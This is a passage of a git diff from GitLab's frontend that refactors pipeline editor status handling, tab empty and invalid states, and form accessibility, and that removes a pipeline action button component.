@@ -13,15 +12,16 @@ export default {
},
},
props: {
+ isValid: {
+ type: Boolean,
+ required: true,
+ },
ciConfig: {
type: Object,
required: true,
},
},
computed: {
- isValid() {
- return this.ciConfig?.status === CI_CONFIG_STATUS_VALID;
- },
stages() {
return this.ciConfig?.stages || [];
},
@@ -45,9 +45,9 @@ export default {
<template>
<ci-lint-results
- :valid="isValid"
- :jobs="jobs"
:errors="ciConfig.errors"
+ :is-valid="isValid"
+ :jobs="jobs"
:lint-help-page-path="lintHelpPagePath"
/>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
index 5d9697c9427..7f6dce05b6e 100644
--- a/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
+++ b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
@@ -42,34 +42,34 @@ export default {
CiLintResultsParam,
},
props: {
- valid: {
- type: Boolean,
- required: true,
- },
- jobs: {
- type: Array,
- required: false,
- default: () => [],
- },
errors: {
type: Array,
required: false,
default: () => [],
},
- warnings: {
- type: Array,
- required: false,
- default: () => [],
- },
dryRun: {
type: Boolean,
required: false,
default: false,
},
+ isValid: {
+ type: Boolean,
+ required: true,
+ },
+ jobs: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
lintHelpPagePath: {
type: String,
required: true,
},
+ warnings: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
},
data() {
return {
@@ -78,7 +78,7 @@ export default {
},
computed: {
status() {
- return this.valid ? this.$options.correct : this.$options.incorrect;
+ return this.isValid ? this.$options.correct : this.$options.incorrect;
},
shouldShowTable() {
return this.errors.length === 0;
diff --git a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
index 3bdcf383bee..5acb3355b23 100644
--- a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
+++ b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
@@ -1,15 +1,20 @@
<script>
-import { GlAlert, GlLoadingIcon, GlTabs, GlTab } from '@gitlab/ui';
+import { GlAlert, GlLoadingIcon, GlTabs } from '@gitlab/ui';
import { s__ } from '~/locale';
import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import {
- CI_CONFIG_STATUS_INVALID,
CREATE_TAB,
+ EDITOR_APP_STATUS_EMPTY,
+ EDITOR_APP_STATUS_ERROR,
+ EDITOR_APP_STATUS_INVALID,
+ EDITOR_APP_STATUS_LOADING,
+ EDITOR_APP_STATUS_VALID,
LINT_TAB,
MERGED_TAB,
VISUALIZE_TAB,
} from '../constants';
+import getAppStatus from '../graphql/queries/client/app_status.graphql';
import CiConfigMergedPreview from './editor/ci_config_merged_preview.vue';
import TextEditor from './editor/text_editor.vue';
import CiLint from './lint/ci_lint.vue';
@@ -21,6 +26,17 @@ export default {
tabGraph: s__('Pipelines|Visualize'),
tabLint: s__('Pipelines|Lint'),
tabMergedYaml: s__('Pipelines|View merged YAML'),
+ empty: {
+ visualization: s__(
+ 'PipelineEditor|The pipeline visualization is displayed when the CI/CD configuration file has valid syntax.',
+ ),
+ lint: s__(
+ 'PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty.',
+ ),
+ merge: s__(
+ 'PipelineEditor|The merged YAML view is displayed when the CI/CD configuration file has valid syntax.',
+ ),
+ },
},
errorTexts: {
loadMergedYaml: s__('Pipelines|Could not load merged YAML content'),
@@ -37,7 +53,6 @@ export default {
EditorTab,
GlAlert,
GlLoadingIcon,
- GlTab,
GlTabs,
PipelineGraph,
TextEditor,
@@ -52,17 +67,28 @@ export default {
type: String,
required: true,
},
- isCiConfigDataLoading: {
- type: Boolean,
- required: false,
- default: false,
+ },
+ apollo: {
+ appStatus: {
+ query: getAppStatus,
},
},
computed: {
- hasMergedYamlLoadError() {
- return (
- !this.ciConfigData?.mergedYaml && this.ciConfigData.status !== CI_CONFIG_STATUS_INVALID
- );
+ hasAppError() {
+ // Not an invalid config and with `mergedYaml` data missing
+ return this.appStatus === EDITOR_APP_STATUS_ERROR;
+ },
+ isEmpty() {
+ return this.appStatus === EDITOR_APP_STATUS_EMPTY;
+ },
+ isInvalid() {
+ return this.appStatus === EDITOR_APP_STATUS_INVALID;
+ },
+ isValid() {
+ return this.appStatus === EDITOR_APP_STATUS_VALID;
+ },
+ isLoading() {
+ return this.appStatus === EDITOR_APP_STATUS_LOADING;
},
},
methods: {
@@ -83,39 +109,48 @@ export default {
>
<text-editor :value="ciFileContent" v-on="$listeners" />
</editor-tab>
- <gl-tab
+ <editor-tab
v-if="glFeatures.ciConfigVisualizationTab"
class="gl-mb-3"
+ :empty-message="$options.i18n.empty.visualization"
+ :is-empty="isEmpty"
+ :is-invalid="isInvalid"
:title="$options.i18n.tabGraph"
lazy
data-testid="visualization-tab"
@click="setCurrentTab($options.tabConstants.VISUALIZE_TAB)"
>
- <gl-loading-icon v-if="isCiConfigDataLoading" size="lg" class="gl-m-3" />
+ <gl-loading-icon v-if="isLoading" size="lg" class="gl-m-3" />
<pipeline-graph v-else :pipeline-data="ciConfigData" />
- </gl-tab>
+ </editor-tab>
<editor-tab
class="gl-mb-3"
+ :empty-message="$options.i18n.empty.lint"
+ :is-empty="isEmpty"
:title="$options.i18n.tabLint"
data-testid="lint-tab"
@click="setCurrentTab($options.tabConstants.LINT_TAB)"
>
- <gl-loading-icon v-if="isCiConfigDataLoading" size="lg" class="gl-m-3" />
- <ci-lint v-else :ci-config="ciConfigData" />
+ <gl-loading-icon v-if="isLoading" size="lg" class="gl-m-3" />
+ <ci-lint v-else :is-valid="isValid" :ci-config="ciConfigData" />
</editor-tab>
- <gl-tab
+ <editor-tab
v-if="glFeatures.ciConfigMergedTab"
class="gl-mb-3"
+ :empty-message="$options.i18n.empty.merge"
+ :keep-component-mounted="false"
+ :is-empty="isEmpty"
+ :is-invalid="isInvalid"
:title="$options.i18n.tabMergedYaml"
lazy
data-testid="merged-tab"
@click="setCurrentTab($options.tabConstants.MERGED_TAB)"
>
- <gl-loading-icon v-if="isCiConfigDataLoading" size="lg" class="gl-m-3" />
- <gl-alert v-else-if="hasMergedYamlLoadError" variant="danger" :dismissible="false">
+ <gl-loading-icon v-if="isLoading" size="lg" class="gl-m-3" />
+ <gl-alert v-else-if="hasAppError" variant="danger" :dismissible="false">
{{ $options.errorTexts.loadMergedYaml }}
</gl-alert>
<ci-config-merged-preview v-else :ci-config-data="ciConfigData" v-on="$listeners" />
- </gl-tab>
+ </editor-tab>
</gl-tabs>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/ui/editor_tab.vue b/app/assets/javascripts/pipeline_editor/components/ui/editor_tab.vue
index b0acd3ca2ee..7c032441a04 100644
--- a/app/assets/javascripts/pipeline_editor/components/ui/editor_tab.vue
+++ b/app/assets/javascripts/pipeline_editor/components/ui/editor_tab.vue
@@ -1,6 +1,6 @@
<script>
-import { GlTab } from '@gitlab/ui';
-
+import { GlAlert, GlTab } from '@gitlab/ui';
+import { __, s__ } from '~/locale';
/**
* Wrapper of <gl-tab> to optionally lazily render this tab's content
* when its shown **without dismounting after its hidden**.
@@ -10,10 +10,10 @@ import { GlTab } from '@gitlab/ui';
* API is the same as <gl-tab>, for example:
*
* <gl-tabs>
- * <editor-tab title="Tab 1" :lazy="true">
+ * <editor-tab title="Tab 1" lazy>
* lazily mounted content (gets mounted if this is first tab)
* </editor-tab>
- * <editor-tab title="Tab 2" :lazy="true">
+ * <editor-tab title="Tab 2" lazy>
* lazily mounted content
* </editor-tab>
* <editor-tab title="Tab 3">
@@ -25,10 +25,26 @@ import { GlTab } from '@gitlab/ui';
* so it's contents are not dismounted.
*
* lazy is "false" by default, as in <gl-tab>.
+ *
+ * It is also possible to pass the `isEmpty` and or `isInvalid` to let
+ * the tab component handle that state on its own. For example:
+ *
+ * * <gl-tabs>
+ * <editor-tab-with-status title="Tab 1" :is-empty="isEmpty" :is-invalid="isInvalid">
+ * ...
+ * </editor-tab-with-status>
+ * Will be the same as normal, except it will only render the slot component
+ * if the status is not empty and not invalid. In any of these 2 cases, it will render
+ * a generic component and avoid mounting whatever it received in the slot.
+ * </gl-tabs>
*/
export default {
+ i18n: {
+ invalid: __('Your CI/CD configuration syntax is invalid. View Lint tab for more details.'),
+ },
components: {
+ GlAlert,
GlTab,
// Use a small renderless component to know when the tab content mounts because:
// - gl-tab always gets mounted, even if lazy is `true`. See:
@@ -40,29 +56,63 @@ export default {
},
inheritAttrs: false,
props: {
+ emptyMessage: {
+ type: String,
+ required: false,
+ default: s__(
+ 'PipelineEditor|This tab will be usable when the CI/CD configuration file is populated with valid syntax.',
+ ),
+ },
+ isEmpty: {
+ type: Boolean,
+ required: false,
+ default: null,
+ },
+ isInvalid: {
+ type: Boolean,
+ required: false,
+ default: null,
+ },
lazy: {
type: Boolean,
required: false,
default: false,
},
+ keepComponentMounted: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
},
data() {
return {
isLazy: this.lazy,
};
},
+ computed: {
+ slots() {
+ return Object.keys(this.$slots);
+ },
+ },
methods: {
onContentMounted() {
// When a child is first mounted make the entire tab
- // permanently mounted by setting 'lazy' to false.
- this.isLazy = false;
+ // permanently mounted by setting 'lazy' to false unless
+ // explicitly opted out.
+ if (this.keepComponentMounted) {
+ this.isLazy = false;
+ }
},
},
};
</script>
<template>
<gl-tab :lazy="isLazy" v-bind="$attrs" v-on="$listeners">
- <slot v-for="slot in Object.keys($slots)" :slot="slot" :name="slot"></slot>
- <mount-spy @hook:mounted="onContentMounted" />
+ <gl-alert v-if="isEmpty" variant="tip">{{ emptyMessage }}</gl-alert>
+ <gl-alert v-else-if="isInvalid" variant="danger">{{ $options.i18n.invalid }}</gl-alert>
+ <template v-else>
+ <slot v-for="slot in slots" :name="slot"></slot>
+ <mount-spy @hook:mounted="onContentMounted" />
+ </template>
</gl-tab>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/constants.js b/app/assets/javascripts/pipeline_editor/constants.js
index 353deafe770..8d0ec6c3e2d 100644
--- a/app/assets/javascripts/pipeline_editor/constants.js
+++ b/app/assets/javascripts/pipeline_editor/constants.js
@@ -1,5 +1,14 @@
-export const CI_CONFIG_STATUS_VALID = 'VALID';
+// Values for CI_CONFIG_STATUS_* comes from lint graphQL
export const CI_CONFIG_STATUS_INVALID = 'INVALID';
+export const CI_CONFIG_STATUS_VALID = 'VALID';
+
+// Values for EDITOR_APP_STATUS_* are frontend specifics and
+// represent the global state of the pipeline editor app.
+export const EDITOR_APP_STATUS_EMPTY = 'EMPTY';
+export const EDITOR_APP_STATUS_ERROR = 'ERROR';
+export const EDITOR_APP_STATUS_INVALID = CI_CONFIG_STATUS_INVALID;
+export const EDITOR_APP_STATUS_LOADING = 'LOADING';
+export const EDITOR_APP_STATUS_VALID = CI_CONFIG_STATUS_VALID;
export const COMMIT_FAILURE = 'COMMIT_FAILURE';
export const COMMIT_SUCCESS = 'COMMIT_SUCCESS';
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql
new file mode 100644
index 00000000000..f162bb11d47
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql
@@ -0,0 +1,9 @@
+query getAvailableBranches($projectFullPath: ID!) {
+ project(fullPath: $projectFullPath) @client {
+ repository {
+ branches {
+ name
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql
new file mode 100644
index 00000000000..938f36c7d5c
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql
@@ -0,0 +1,3 @@
+query getAppStatus {
+ appStatus @client
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql
index 7cc7f92fb60..d3a7387ad2d 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql
@@ -1,10 +1,9 @@
query getPipeline($fullPath: ID!, $sha: String!) {
- project(fullPath: $fullPath) @client {
+ project(fullPath: $fullPath) {
pipeline(sha: $sha) {
commitPath
id
iid
- shortSha
status
detailedStatus {
detailsPath
diff --git a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
index 13f6200693b..caa2a65d424 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
+++ b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
@@ -11,25 +11,19 @@ export const resolvers = {
}),
};
},
-
/* eslint-disable @gitlab/require-i18n-strings */
project() {
return {
__typename: 'Project',
- pipeline: {
- __typename: 'Pipeline',
- commitPath: `/-/commit/aabbccdd`,
- id: 'gid://gitlab/Ci::Pipeline/118',
- iid: '28',
- shortSha: 'aabbccdd',
- status: 'SUCCESS',
- detailedStatus: {
- __typename: 'DetailedStatus',
- detailsPath: '/root/sample-ci-project/-/pipelines/118"',
- group: 'success',
- icon: 'status_success',
- text: 'passed',
- },
+ repository: {
+ __typename: 'Repository',
+ branches: [
+ { __typename: 'Branch', name: 'master' },
+ { __typename: 'Branch', name: 'main' },
+ { __typename: 'Branch', name: 'develop' },
+ { __typename: 'Branch', name: 'production' },
+ { __typename: 'Branch', name: 'test' },
+ ],
},
};
},
diff --git a/app/assets/javascripts/pipeline_editor/index.js b/app/assets/javascripts/pipeline_editor/index.js
index b17ec2d5c25..8a1e26f9bff 100644
--- a/app/assets/javascripts/pipeline_editor/index.js
+++ b/app/assets/javascripts/pipeline_editor/index.js
@@ -3,6 +3,9 @@ import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
import { resetServiceWorkersPublicPath } from '../lib/utils/webpack';
+import { CODE_SNIPPET_SOURCE_SETTINGS } from './components/code_snippet_alert/constants';
+import getCommitSha from './graphql/queries/client/commit_sha.graphql';
+import getCurrentBranch from './graphql/queries/client/current_branch.graphql';
import { resolvers } from './graphql/resolvers';
import typeDefs from './graphql/typedefs.graphql';
import PipelineEditorApp from './pipeline_editor_app.vue';
@@ -35,15 +38,30 @@ export const initPipelineEditor = (selector = '#js-pipeline-editor') => {
ymlHelpPagePath,
} = el?.dataset;
+ const configurationPaths = Object.fromEntries(
+ Object.entries(CODE_SNIPPET_SOURCE_SETTINGS).map(([source, { datasetKey }]) => [
+ source,
+ el.dataset[datasetKey],
+ ]),
+ );
+
Vue.use(VueApollo);
const apolloProvider = new VueApollo({
defaultClient: createDefaultClient(resolvers, { typeDefs }),
});
+ const { cache } = apolloProvider.clients.defaultClient;
- apolloProvider.clients.defaultClient.cache.writeData({
+ cache.writeQuery({
+ query: getCurrentBranch,
data: {
currentBranch: initialBranchName || defaultBranch,
+ },
+ });
+
+ cache.writeQuery({
+ query: getCommitSha,
+ data: {
commitSha,
},
});
@@ -61,6 +79,7 @@ export const initPipelineEditor = (selector = '#js-pipeline-editor') => {
projectPath,
projectNamespace,
ymlHelpPagePath,
+ configurationPaths,
},
render(h) {
return h(PipelineEditorApp);
diff --git a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
index c1168979e9f..e0fb38004ec 100644
--- a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
+++ b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
@@ -1,14 +1,29 @@
<script>
import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
import httpStatusCodes from '~/lib/utils/http_status';
+import { getParameterValues, removeParams } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
import { unwrapStagesWithNeeds } from '~/pipelines/components/unwrapping_utils';
+import CodeSnippetAlert from './components/code_snippet_alert/code_snippet_alert.vue';
+import {
+ CODE_SNIPPET_SOURCE_URL_PARAM,
+ CODE_SNIPPET_SOURCES,
+} from './components/code_snippet_alert/constants';
import ConfirmUnsavedChangesDialog from './components/ui/confirm_unsaved_changes_dialog.vue';
import PipelineEditorEmptyState from './components/ui/pipeline_editor_empty_state.vue';
-import { COMMIT_FAILURE, COMMIT_SUCCESS, DEFAULT_FAILURE, LOAD_FAILURE_UNKNOWN } from './constants';
+import {
+ COMMIT_FAILURE,
+ COMMIT_SUCCESS,
+ DEFAULT_FAILURE,
+ EDITOR_APP_STATUS_EMPTY,
+ EDITOR_APP_STATUS_ERROR,
+ EDITOR_APP_STATUS_LOADING,
+ LOAD_FAILURE_UNKNOWN,
+} from './constants';
import getBlobContent from './graphql/queries/blob_content.graphql';
import getCiConfigData from './graphql/queries/ci_config.graphql';
+import getAppStatus from './graphql/queries/client/app_status.graphql';
import getCurrentBranch from './graphql/queries/client/current_branch.graphql';
import getIsNewCiConfigFile from './graphql/queries/client/is_new_ci_config_file.graphql';
import PipelineEditorHome from './pipeline_editor_home.vue';
@@ -20,6 +35,7 @@ export default {
GlLoadingIcon,
PipelineEditorEmptyState,
PipelineEditorHome,
+ CodeSnippetAlert,
},
inject: {
ciConfigPath: {
@@ -32,7 +48,6 @@ export default {
data() {
return {
ciConfigData: {},
- // Success and failure state
failureType: null,
failureReasons: [],
showStartScreen: false,
@@ -43,8 +58,10 @@ export default {
showFailureAlert: false,
showSuccessAlert: false,
successType: null,
+ codeSnippetCopiedFrom: '',
};
},
+
apollo: {
initialCiFileContent: {
query: getBlobContent,
@@ -77,8 +94,7 @@ export default {
},
ciConfigData: {
query: getCiConfigData,
- // If content is not loaded, we can't lint the data
- skip: ({ currentCiFileContent }) => {
+ skip({ currentCiFileContent }) {
return !currentCiFileContent;
},
variables() {
@@ -94,9 +110,20 @@ export default {
return { ...ciConfig, stages };
},
+ result({ data }) {
+ this.setAppStatus(data?.ciConfig?.status || EDITOR_APP_STATUS_ERROR);
+ },
error() {
this.reportFailure(LOAD_FAILURE_UNKNOWN);
},
+ watchLoading(isLoading) {
+ if (isLoading) {
+ this.setAppStatus(EDITOR_APP_STATUS_LOADING);
+ }
+ },
+ },
+ appStatus: {
+ query: getAppStatus,
},
currentBranch: {
query: getCurrentBranch,
@@ -115,6 +142,9 @@ export default {
isCiConfigDataLoading() {
return this.$apollo.queries.ciConfigData.loading;
},
+ isEmpty() {
+ return this.currentCiFileContent === '';
+ },
failure() {
switch (this.failureType) {
case LOAD_FAILURE_UNKNOWN:
@@ -159,6 +189,16 @@ export default {
successTexts: {
[COMMIT_SUCCESS]: __('Your changes have been successfully committed.'),
},
+ watch: {
+ isEmpty(flag) {
+ if (flag) {
+ this.setAppStatus(EDITOR_APP_STATUS_EMPTY);
+ }
+ },
+ },
+ created() {
+ this.parseCodeSnippetSourceParam();
+ },
methods: {
handleBlobContentError(error = {}) {
const { networkError } = error;
@@ -170,6 +210,7 @@ export default {
response?.status === httpStatusCodes.NOT_FOUND ||
response?.status === httpStatusCodes.BAD_REQUEST
) {
+ this.setAppStatus(EDITOR_APP_STATUS_EMPTY);
this.showStartScreen = true;
} else {
this.reportFailure(LOAD_FAILURE_UNKNOWN);
@@ -183,6 +224,8 @@ export default {
this.showSuccessAlert = false;
},
reportFailure(type, reasons = []) {
+ this.setAppStatus(EDITOR_APP_STATUS_ERROR);
+
window.scrollTo({ top: 0, behavior: 'smooth' });
this.showFailureAlert = true;
this.failureType = type;
@@ -196,6 +239,9 @@ export default {
resetContent() {
this.currentCiFileContent = this.lastCommittedContent;
},
+ setAppStatus(appStatus) {
+ this.$apollo.getClient().writeQuery({ query: getAppStatus, data: { appStatus } });
+ },
setNewEmptyCiConfigFile() {
this.$apollo
.getClient()
@@ -220,6 +266,20 @@ export default {
// if the user has made changes to the file that are unsaved.
this.lastCommittedContent = this.currentCiFileContent;
},
+ parseCodeSnippetSourceParam() {
+ const [codeSnippetCopiedFrom] = getParameterValues(CODE_SNIPPET_SOURCE_URL_PARAM);
+ if (codeSnippetCopiedFrom && CODE_SNIPPET_SOURCES.includes(codeSnippetCopiedFrom)) {
+ this.codeSnippetCopiedFrom = codeSnippetCopiedFrom;
+ window.history.replaceState(
+ {},
+ document.title,
+ removeParams([CODE_SNIPPET_SOURCE_URL_PARAM]),
+ );
+ }
+ },
+ dismissCodeSnippetAlert() {
+ this.codeSnippetCopiedFrom = '';
+ },
},
};
</script>
@@ -232,19 +292,35 @@ export default {
@createEmptyConfigFile="setNewEmptyCiConfigFile"
/>
<div v-else>
- <gl-alert v-if="showSuccessAlert" :variant="success.variant" @dismiss="dismissSuccess">
+ <code-snippet-alert
+ v-if="codeSnippetCopiedFrom"
+ :source="codeSnippetCopiedFrom"
+ class="gl-mb-5"
+ @dismiss="dismissCodeSnippetAlert"
+ />
+ <gl-alert
+ v-if="showSuccessAlert"
+ :variant="success.variant"
+ class="gl-mb-5"
+ @dismiss="dismissSuccess"
+ >
{{ success.text }}
</gl-alert>
- <gl-alert v-if="showFailureAlert" :variant="failure.variant" @dismiss="dismissFailure">
+ <gl-alert
+ v-if="showFailureAlert"
+ :variant="failure.variant"
+ class="gl-mb-5"
+ @dismiss="dismissFailure"
+ >
{{ failure.text }}
<ul v-if="failureReasons.length" class="gl-mb-0">
<li v-for="reason in failureReasons" :key="reason">{{ reason }}</li>
</ul>
</gl-alert>
<pipeline-editor-home
- :is-ci-config-data-loading="isCiConfigDataLoading"
:ci-config-data="ciConfigData"
:ci-file-content="currentCiFileContent"
+ :is-new-ci-config-file="isNewCiConfigFile"
@commit="updateOnCommit"
@resetContent="resetContent"
@showError="showErrorAlert"
diff --git a/app/assets/javascripts/pipeline_editor/pipeline_editor_home.vue b/app/assets/javascripts/pipeline_editor/pipeline_editor_home.vue
index ef46040153f..adba55f9f4b 100644
--- a/app/assets/javascripts/pipeline_editor/pipeline_editor_home.vue
+++ b/app/assets/javascripts/pipeline_editor/pipeline_editor_home.vue
@@ -1,5 +1,6 @@
<script>
import CommitSection from './components/commit/commit_section.vue';
+import PipelineEditorFileNav from './components/file_nav/pipeline_editor_file_nav.vue';
import PipelineEditorHeader from './components/header/pipeline_editor_header.vue';
import PipelineEditorTabs from './components/pipeline_editor_tabs.vue';
import { TABS_WITH_COMMIT_FORM, CREATE_TAB } from './constants';
@@ -7,6 +8,7 @@ import { TABS_WITH_COMMIT_FORM, CREATE_TAB } from './constants';
export default {
components: {
CommitSection,
+ PipelineEditorFileNav,
PipelineEditorHeader,
PipelineEditorTabs,
},
@@ -19,7 +21,7 @@ export default {
type: String,
required: true,
},
- isCiConfigDataLoading: {
+ isNewCiConfigFile: {
type: Boolean,
required: true,
},
@@ -44,15 +46,14 @@ export default {
<template>
<div>
+ <pipeline-editor-file-nav v-on="$listeners" />
<pipeline-editor-header
- :ci-file-content="ciFileContent"
:ci-config-data="ciConfigData"
- :is-ci-config-data-loading="isCiConfigDataLoading"
+ :is-new-ci-config-file="isNewCiConfigFile"
/>
<pipeline-editor-tabs
:ci-config-data="ciConfigData"
:ci-file-content="ciFileContent"
- :is-ci-config-data-loading="isCiConfigDataLoading"
v-on="$listeners"
@set-current-tab="setCurrentTab"
/>
diff --git a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue b/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
index ff6a354f673..e44d80ee9d1 100644
--- a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
+++ b/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
@@ -33,6 +33,7 @@ const i18n = {
submitErrorTitle: s__('Pipeline|Pipeline cannot be run.'),
warningTitle: __('The form contains the following warning:'),
maxWarningsSummary: __('%{total} warnings found: showing first %{warningsDisplayed}'),
+ removeVariableLabel: s__('CiVariables|Remove variable'),
};
export default {
@@ -416,15 +417,17 @@ export default {
data-testid="remove-ci-variable-row"
variant="danger"
category="secondary"
+ :aria-label="$options.i18n.removeVariableLabel"
@click="removeVariable(index)"
>
<gl-icon class="gl-mr-0! gl-display-none gl-md-display-block" name="clear" />
- <span class="gl-md-display-none">{{ s__('CiVariables|Remove variable') }}</span>
+ <span class="gl-md-display-none">{{ $options.i18n.removeVariableLabel }}</span>
</gl-button>
<gl-button
v-else
class="gl-md-ml-3 gl-mb-3 gl-display-none gl-md-display-block gl-visibility-hidden"
icon="clear"
+ :aria-label="$options.i18n.removeVariableLabel"
/>
</template>
</div>
@@ -441,18 +444,16 @@ export default {
</gl-sprintf></template
>
</gl-form-group>
- <div
- class="gl-border-t-solid gl-border-gray-100 gl-border-t-1 gl-p-5 gl-bg-gray-10 gl-display-flex gl-justify-content-space-between"
- >
+ <div class="gl-pt-5 gl-display-flex">
<gl-button
type="submit"
category="primary"
- variant="success"
- class="js-no-auto-disable"
+ variant="confirm"
+ class="js-no-auto-disable gl-mr-3"
data-qa-selector="run_pipeline_button"
data-testid="run_pipeline_button"
:disabled="submitted"
- >{{ s__('Pipeline|Run Pipeline') }}</gl-button
+ >{{ s__('Pipeline|Run pipeline') }}</gl-button
>
<gl-button :href="pipelinesPath">{{ __('Cancel') }}</gl-button>
</div>
diff --git a/app/assets/javascripts/pipelines/components/dag/dag.vue b/app/assets/javascripts/pipelines/components/dag/dag.vue
index e44dedfe2ee..16fb931ec2b 100644
--- a/app/assets/javascripts/pipelines/components/dag/dag.vue
+++ b/app/assets/javascripts/pipelines/components/dag/dag.vue
@@ -50,6 +50,10 @@ export default {
};
},
update(data) {
+ if (!data?.project?.pipeline) {
+ return this.graphData;
+ }
+
const {
stages: { nodes: stages },
} = data.project.pipeline;
diff --git a/app/assets/javascripts/pipelines/components/graph/action_component.vue b/app/assets/javascripts/pipelines/components/graph/action_component.vue
deleted file mode 100644
index 1df693704d4..00000000000
--- a/app/assets/javascripts/pipelines/components/graph/action_component.vue
+++ /dev/null
@@ -1,103 +0,0 @@
-<script>
-import { GlTooltipDirective, GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
-import { dasherize } from '~/lib/utils/text_utility';
-import { __ } from '~/locale';
-import { reportToSentry } from './utils';
-
-/**
- * Renders either a cancel, retry or play icon button and handles the post request
- *
- * Used in:
- * - mr widget mini pipeline graph: `mr_widget_pipeline.vue`
- * - pipelines table
- * - pipelines table in merge request page
- * - pipelines table in commit page
- * - pipelines detail page in big graph
- */
-export default {
- components: {
- GlIcon,
- GlButton,
- GlLoadingIcon,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- tooltipText: {
- type: String,
- required: true,
- },
- link: {
- type: String,
- required: true,
- },
- actionIcon: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- isDisabled: false,
- isLoading: false,
- };
- },
- computed: {
- cssClass() {
- const actionIconDash = dasherize(this.actionIcon);
- return `${actionIconDash} js-icon-${actionIconDash}`;
- },
- },
- errorCaptured(err, _vm, info) {
- reportToSentry('action_component', `error: ${err}, info: ${info}`);
- },
- methods: {
- /**
- * The request should not be handled here.
- * However due to this component being used in several
- * different apps it avoids repetition & complexity.
- *
- */
- onClickAction() {
- this.$root.$emit(BV_HIDE_TOOLTIP, `js-ci-action-${this.link}`);
- this.isDisabled = true;
- this.isLoading = true;
-
- axios
- .post(`${this.link}.json`)
- .then(() => {
- this.isDisabled = false;
- this.isLoading = false;
-
- this.$emit('pipelineActionRequestComplete');
- })
- .catch((err) => {
- this.isDisabled = false;
- this.isLoading = false;
-
- reportToSentry('action_component', err);
-
- createFlash(__('An error occurred while making the request.'));
- });
- },
- },
-};
-</script>
-<template>
- <gl-button
- :id="`js-ci-action-${link}`"
- v-gl-tooltip="{ boundary: 'viewport' }"
- :title="tooltipText"
- :class="cssClass"
- :disabled="isDisabled"
- class="js-ci-action gl-ci-action-icon-container ci-action-icon-container ci-action-icon-wrapper gl-display-flex gl-align-items-center gl-justify-content-center"
- @click.stop="onClickAction"
- >
- <gl-loading-icon v-if="isLoading" class="js-action-icon-loading" />
- <gl-icon v-else :name="actionIcon" class="gl-mr-0!" :aria-label="actionIcon" />
- </gl-button>
-</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/constants.js b/app/assets/javascripts/pipelines/components/graph/constants.js
index caa269f5095..dd9cdae518f 100644
--- a/app/assets/javascripts/pipelines/components/graph/constants.js
+++ b/app/assets/javascripts/pipelines/components/graph/constants.js
@@ -10,3 +10,12 @@ export const ONE_COL_WIDTH = 180;
export const REST = 'rest';
export const GRAPHQL = 'graphql';
+
+export const STAGE_VIEW = 'stage';
+export const LAYER_VIEW = 'layer';
+export const VIEW_TYPE_KEY = 'pipeline_graph_view_type';
+
+export const SINGLE_JOB = 'single_job';
+export const JOB_DROPDOWN = 'job_dropdown';
+
+export const IID_FAILURE = 'missing_iid';
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component.vue b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
index 363226a0d85..63048777724 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
@@ -1,10 +1,11 @@
<script>
+import { reportToSentry } from '../../utils';
import LinkedGraphWrapper from '../graph_shared/linked_graph_wrapper.vue';
import LinksLayer from '../graph_shared/links_layer.vue';
-import { DOWNSTREAM, MAIN, UPSTREAM, ONE_COL_WIDTH } from './constants';
